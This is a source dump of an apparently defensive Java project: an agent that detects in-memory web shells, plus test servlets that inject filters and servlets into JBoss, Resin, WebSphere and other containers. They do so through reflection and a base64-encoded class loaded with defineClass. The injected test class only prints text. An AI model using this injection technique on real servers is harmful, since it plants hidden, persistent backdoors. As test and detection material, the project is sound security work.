58 | Field f3 = ServletMapper.class.getDeclaredField("_servletNamesMap");
59 | f3.setAccessible(true);
60 | Map maps = (Map) f3.get(servletMapper);
61 | maps.put(servletUrl, mapping);
62 |
63 | resp.getWriter().println("Resin Servlet added");
64 |
65 | } catch (Exception e) {
66 | e.printStackTrace();
67 | }
68 |
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-jboss/src/org/su18/memshell/test/jboss/AddJBossFilter.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.jboss;
2 |
3 |
4 | import io.undertow.servlet.api.DeploymentInfo;
5 | import io.undertow.servlet.api.FilterInfo;
6 | import io.undertow.servlet.core.DeploymentImpl;
7 | import io.undertow.servlet.util.ConstructorInstanceFactory;
8 |
9 | import javax.servlet.DispatcherType;
10 | import javax.servlet.Filter;
11 | import javax.servlet.ServletContext;
12 | import javax.servlet.ServletException;
13 | import javax.servlet.http.HttpServlet;
14 | import javax.servlet.http.HttpServletRequest;
15 | import javax.servlet.http.HttpServletResponse;
16 | import java.io.IOException;
17 | import java.lang.reflect.Field;
18 | import java.lang.reflect.Modifier;
19 | import java.util.Map;
20 |
21 | import static org.su18.memshell.test.jboss.DynamicUtils.FILTER_CLASS_STRING;
22 |
23 | /**
24 | * 来自项目 https://github.com/feihong-cs/memShell
25 | * 亲测有效
26 | * 测试版本 JBoss/WildFly 18.0.0.Final
27 | *
28 | * @author su18
29 | */
30 | public class AddJBossFilter extends HttpServlet {
31 |
32 | @Override
33 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
34 |
35 | try {
36 | String filterName = "su18JbossFilter";
37 | String urlPattern = "/*";
38 |
39 | ServletContext context = req.getServletContext();
40 | Field f = context.getClass().getDeclaredField("deploymentInfo");
41 | f.setAccessible(true);
42 | DeploymentInfo deploymentInfo = (DeploymentInfo) f.get(context);
43 |
44 | //只添加一次
45 | Map filters = deploymentInfo.getFilters();
46 | if (!filters.containsKey(filterName)) {
47 |
48 | Class clazz = DynamicUtils.getClass(FILTER_CLASS_STRING);
49 | FilterInfo filter = new FilterInfo(filterName, clazz, new ConstructorInstanceFactory(clazz.getDeclaredConstructor()));
50 | deploymentInfo.addFilter(filter);
51 |
52 | f = context.getClass().getDeclaredField("deployment");
53 | f.setAccessible(true);
54 | Field modifiersField = Field.class.getDeclaredField("modifiers");
55 | modifiersField.setAccessible(true);
56 | modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
57 | DeploymentImpl deployment = (DeploymentImpl) f.get(context);
58 | deployment.getFilters().addFilter(filter);
59 |
60 | // 0 表示把我们动态注册的 filter 放在第一位
61 | deploymentInfo.insertFilterUrlMapping(0, filterName, urlPattern, DispatcherType.REQUEST);
62 |
63 | resp.getWriter().println("jboss wildfly filter added");
64 | }
65 | } catch (Exception e) {
66 | e.printStackTrace();
67 | }
68 | }
69 | }
--------------------------------------------------------------------------------
/memshell-scanner/dependency-reduced-pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | MemoryShell
5 | org.su18
6 | 1.0.0
7 |
8 | 4.0.0
9 | memshell-scanner
10 |
11 | suagent-scanner
12 |
13 |
14 | maven-compiler-plugin
15 | 3.8.1
16 |
17 | 1.6
18 | 1.6
19 |
20 |
21 |
22 | maven-shade-plugin
23 | 3.2.2
24 |
25 |
26 | package
27 |
28 | shade
29 |
30 |
31 |
32 |
33 | *:*
34 |
35 | META-INF/
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 | maven-surefire-plugin
45 | 2.21.0
46 |
47 | true
48 |
49 |
50 |
51 | maven-antrun-plugin
52 |
53 |
54 | package
55 |
56 | run
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 | org.su18
71 | memshell-loader
72 | 1.0.0
73 | provided
74 |
75 |
76 |
77 |
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/SuTransformer.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner;
2 |
3 | import org.objectweb.asm.ClassReader;
4 | import org.objectweb.asm.ClassWriter;
5 | import org.su18.memshell.loader.commons.AgentCache;
6 | import org.su18.memshell.scanner.asm.SuClassVisitor;
7 | import org.su18.memshell.scanner.asm.SuClassWriter;
8 |
9 | import java.io.FileOutputStream;
10 | import java.io.IOException;
11 | import java.lang.instrument.ClassFileTransformer;
12 | import java.lang.instrument.IllegalClassFormatException;
13 | import java.security.ProtectionDomain;
14 | import java.util.regex.Pattern;
15 |
16 | import static org.objectweb.asm.ClassReader.EXPAND_FRAMES;
17 | import static org.objectweb.asm.ClassWriter.COMPUTE_FRAMES;
18 | import static org.objectweb.asm.Opcodes.ASM9;
19 |
20 | /**
21 | * 自定义 ClassFileTransformer ,处理指定的 class
22 | *
23 | * @author su18
24 | */
25 | public class SuTransformer implements ClassFileTransformer {
26 |
27 | private final AgentCache agentCache;
28 |
29 | SuTransformer(AgentCache agentCache) {
30 | this.agentCache = agentCache;
31 | }
32 |
33 | @Override
34 | public byte[] transform(ClassLoader loader, String className, Class> clazz,
35 | ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
36 |
37 | className = className.replace("/", ".");
38 |
39 | // 创建ClassReader对象,读取字节码
40 | ClassReader classReader = new ClassReader(classfileBuffer);
41 |
42 | ClassWriter cw = new SuClassWriter(classReader, COMPUTE_FRAMES, loader);
43 |
44 | try {
45 | SuClassVisitor classVisitor = new SuClassVisitor(
46 | ASM9, cw, className, loader, classfileBuffer, agentCache
47 | );
48 |
49 | classReader.accept(classVisitor, EXPAND_FRAMES);
50 |
51 | classfileBuffer = cw.toByteArray();
52 | // 查看被改的类
53 | dumpClass(className, classfileBuffer);
54 | } catch (Throwable t) {
55 | t.printStackTrace();
56 | }
57 |
58 |
59 | return classfileBuffer;
60 | }
61 |
62 | /**
63 | * dump 出类字节码进行查看
64 | *
65 | * @param className 类名
66 | * @param classfileBuffer 类字节码
67 | * @throws IOException 抛出异常
68 | */
69 | private static void dumpClass(String className, byte[] classfileBuffer) throws IOException {
70 | String regexp = "\\b(TestFilter|TestServlet|TestValve|TestListener)$";
71 |
72 | if (Pattern.compile(regexp).matcher(className).find()) {
73 | className = className.substring(className.lastIndexOf(".") + 1);
74 | FileOutputStream fos = new FileOutputStream("/Users/phoebe/IdeaProjects/MemoryShell/dump/" + className + ".class");
75 | fos.write(classfileBuffer);
76 | fos.close();
77 | }
78 | }
79 | }
80 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-jboss/src/org/su18/memshell/test/jboss/AddJBossServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.jboss;
2 |
3 | import io.undertow.servlet.api.DeploymentInfo;
4 | import io.undertow.servlet.api.ServletInfo;
5 | import io.undertow.servlet.core.DeploymentImpl;
6 | import io.undertow.servlet.handlers.ServletHandler;
7 | import io.undertow.servlet.spec.ServletRegistrationImpl;
8 | import io.undertow.servlet.util.ConstructorInstanceFactory;
9 |
10 | import javax.servlet.Servlet;
11 | import javax.servlet.ServletContext;
12 | import javax.servlet.http.HttpServlet;
13 | import javax.servlet.http.HttpServletRequest;
14 | import javax.servlet.http.HttpServletResponse;
15 | import java.lang.reflect.Constructor;
16 | import java.lang.reflect.Field;
17 | import java.lang.reflect.Modifier;
18 | import java.util.Map;
19 |
20 | import static org.su18.memshell.test.jboss.DynamicUtils.SERVLET_CLASS_STRING;
21 |
22 | /**
23 | * 来自项目 https://github.com/feihong-cs/memShell
24 | * 亲测有效
25 | * 测试版本 JBoss/WildFly 18.0.0.Final
26 | *
27 | * @author su18
28 | */
29 | public class AddJBossServlet extends HttpServlet {
30 |
31 | @Override
32 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
33 | try {
34 | String servletName = "su18JbossServlet";
35 | String urlPattern = "/su18";
36 |
37 | ServletContext context = req.getServletContext();
38 | Field f = context.getClass().getDeclaredField("deploymentInfo");
39 | f.setAccessible(true);
40 | DeploymentInfo deploymentInfo = (DeploymentInfo) f.get(context);
41 |
42 | //只添加一次
43 | Map servlets = deploymentInfo.getServlets();
44 | if (!servlets.containsKey(servletName)) {
45 |
46 | Class extends Servlet> clazz = (Class extends Servlet>) DynamicUtils.getClass(SERVLET_CLASS_STRING);
47 | ServletInfo servletInfo = new ServletInfo(servletName, clazz, new ConstructorInstanceFactory((Constructor) clazz.getDeclaredConstructor()));
48 | deploymentInfo.addServlet(servletInfo);
49 |
50 | f = context.getClass().getDeclaredField("deployment");
51 | f.setAccessible(true);
52 | Field modifiersField = Field.class.getDeclaredField("modifiers");
53 | modifiersField.setAccessible(true);
54 | modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
55 | DeploymentImpl deployment = (DeploymentImpl) f.get(context);
56 | ServletHandler handler = deployment.getServlets().addServlet(servletInfo);
57 |
58 | ServletRegistrationImpl registration = new ServletRegistrationImpl(servletInfo, handler.getManagedServlet(), deployment);
59 | registration.addMapping(urlPattern);
60 |
61 | resp.getWriter().println("jboss wildfly servlet added");
62 | }
63 | } catch (Exception e) {
64 | e.printStackTrace();
65 | }
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/asm/SuClassVisitor.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner.asm;
2 |
3 | import org.objectweb.asm.ClassVisitor;
4 | import org.objectweb.asm.ClassWriter;
5 | import org.objectweb.asm.MethodVisitor;
6 | import org.objectweb.asm.Opcodes;
7 | import org.su18.memshell.loader.commons.AgentCache;
8 | import org.su18.memshell.scanner.BootStrap;
9 | import org.su18.memshell.scanner.common.MemoryShellType;
10 |
11 | import java.util.Map;
12 |
13 | /**
14 | * 自定义 ClassVisitor
15 | *
16 | * @author su18
17 | */
18 | public class SuClassVisitor extends ClassVisitor implements Opcodes {
19 |
20 | private final int api;
21 |
22 | private final ClassWriter classVisitor;
23 |
24 | private final String className;
25 |
26 | private final ClassLoader loader;
27 |
28 | private final byte[] classfileBuffer;
29 |
30 | private final AgentCache agentCache;
31 |
32 | private SuClassDesc raspClassDesc;
33 |
34 |
35 | public SuClassVisitor(final int api, final ClassWriter cw, final String className,
36 | final ClassLoader loader, final byte[] classfileBuffer,
37 | final AgentCache agentCache) {
38 |
39 | super(api, cw);
40 |
41 | this.api = api;
42 | this.classVisitor = cw;
43 | this.className = className;
44 | this.loader = loader;
45 | this.classfileBuffer = classfileBuffer;
46 | this.agentCache = agentCache;
47 | }
48 |
49 | @Override
50 | public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
51 | raspClassDesc = new SuClassDesc(
52 | api, version, access, className.replace("/", "."), signature, superName.replace("/", "."),
53 | interfaces, loader, classfileBuffer, classVisitor
54 | );
55 |
56 | super.visit(version, access, name, signature, superName, interfaces);
57 | }
58 |
59 | @Override
60 | public MethodVisitor visitMethod(final int access, String methodName, final String methodDesc,
61 | String signature, String[] exceptions) {
62 |
63 | MethodVisitor mv = super.visitMethod(access, methodName, methodDesc, signature, exceptions);
64 |
65 | // 判断类名是否匹配
66 | for (Map.Entry, String> entry : BootStrap.shellClassMap.entrySet()) {
67 | if (entry.getKey().getName().equals(raspClassDesc.getClassName())) {
68 | String type = entry.getValue();
69 |
70 | // 从 MemoryShellType 中寻找对应的
71 | if (type != null && methodName.startsWith(MemoryShellType.valueOf(type).getMethod())) {
72 | final SuMethodDesc raspMethodDesc = new SuMethodDesc(
73 | raspClassDesc, access, signature, exceptions, methodName, methodDesc
74 | );
75 |
76 | agentCache.getModifiedClass().add(className);
77 | return new SuMethodVisitor(raspMethodDesc, mv);
78 | }
79 | }
80 | }
81 |
82 | return mv;
83 | }
84 | }
--------------------------------------------------------------------------------
/memshell-test/memshell-test-bes/src/org/su18/memshell/test/bes/DynamicUtils.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.bes;
2 |
3 | import sun.misc.BASE64Decoder;
4 |
5 | import java.io.IOException;
6 | import java.lang.reflect.InvocationTargetException;
7 | import java.lang.reflect.Method;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class DynamicUtils {
13 |
14 |
15 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh";
16 |
17 | public static Class> getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
18 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
19 | BASE64Decoder base64Decoder = new BASE64Decoder();
20 | byte[] bytes = base64Decoder.decodeBuffer(classCode);
21 |
22 | Method method = null;
23 | Class> clz = loader.getClass();
24 | while (method == null && clz != Object.class) {
25 | try {
26 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
27 | } catch (NoSuchMethodException ex) {
28 | clz = clz.getSuperclass();
29 | }
30 | }
31 |
32 | if (method != null) {
33 | method.setAccessible(true);
34 | return (Class>) method.invoke(loader, bytes, 0, bytes.length);
35 | }
36 |
37 | return null;
38 |
39 | }
40 | }
--------------------------------------------------------------------------------
/memshell-test/memshell-test-apusic/src/org/su18/memshell/test/apusic/DynamicUtils.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.apusic;
2 |
3 | import sun.misc.BASE64Decoder;
4 |
5 | import java.io.IOException;
6 | import java.lang.reflect.InvocationTargetException;
7 | import java.lang.reflect.Method;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class DynamicUtils {
13 |
14 |
15 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh";
16 |
17 | public static Class> getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
18 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
19 | BASE64Decoder base64Decoder = new BASE64Decoder();
20 | byte[] bytes = base64Decoder.decodeBuffer(classCode);
21 |
22 | Method method = null;
23 | Class> clz = loader.getClass();
24 | while (method == null && clz != Object.class) {
25 | try {
26 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
27 | } catch (NoSuchMethodException ex) {
28 | clz = clz.getSuperclass();
29 | }
30 | }
31 |
32 | if (method != null) {
33 | method.setAccessible(true);
34 | return (Class>) method.invoke(loader, bytes, 0, bytes.length);
35 | }
36 |
37 | return null;
38 |
39 | }
40 | }
--------------------------------------------------------------------------------
/memshell-test/memshell-test-websphere/src/org/su18/memshell/test/websphere/DynamicUtils.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.websphere;
2 |
3 | import sun.misc.BASE64Decoder;
4 |
5 | import java.io.IOException;
6 | import java.lang.reflect.InvocationTargetException;
7 | import java.lang.reflect.Method;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class DynamicUtils {
13 |
14 |
15 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh";
16 |
17 | public static Class> getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
18 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
19 | BASE64Decoder base64Decoder = new BASE64Decoder();
20 | byte[] bytes = base64Decoder.decodeBuffer(classCode);
21 |
22 | Method method = null;
23 | Class> clz = loader.getClass();
24 | while (method == null && clz != Object.class) {
25 | try {
26 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
27 | } catch (NoSuchMethodException ex) {
28 | clz = clz.getSuperclass();
29 | }
30 | }
31 |
32 | if (method != null) {
33 | method.setAccessible(true);
34 | return (Class>) method.invoke(loader, bytes, 0, bytes.length);
35 | }
36 |
37 | return null;
38 |
39 | }
40 | }
--------------------------------------------------------------------------------
/memshell-test/memshell-test-inforsuite/src/org/su18/memshell/test/inforsuite/DynamicUtils.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.inforsuite;
2 |
3 | import sun.misc.BASE64Decoder;
4 |
5 | import java.io.IOException;
6 | import java.lang.reflect.InvocationTargetException;
7 | import java.lang.reflect.Method;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class DynamicUtils {
13 |
14 |
15 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh";
16 |
17 | public static Class> getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
18 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
19 | BASE64Decoder base64Decoder = new BASE64Decoder();
20 | byte[] bytes = base64Decoder.decodeBuffer(classCode);
21 |
22 | Method method = null;
23 | Class> clz = loader.getClass();
24 | while (method == null && clz != Object.class) {
25 | try {
26 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
27 | } catch (NoSuchMethodException ex) {
28 | clz = clz.getSuperclass();
29 | }
30 | }
31 |
32 | if (method != null) {
33 | method.setAccessible(true);
34 | return (Class>) method.invoke(loader, bytes, 0, bytes.length);
35 | }
36 |
37 | return null;
38 |
39 | }
40 | }
--------------------------------------------------------------------------------
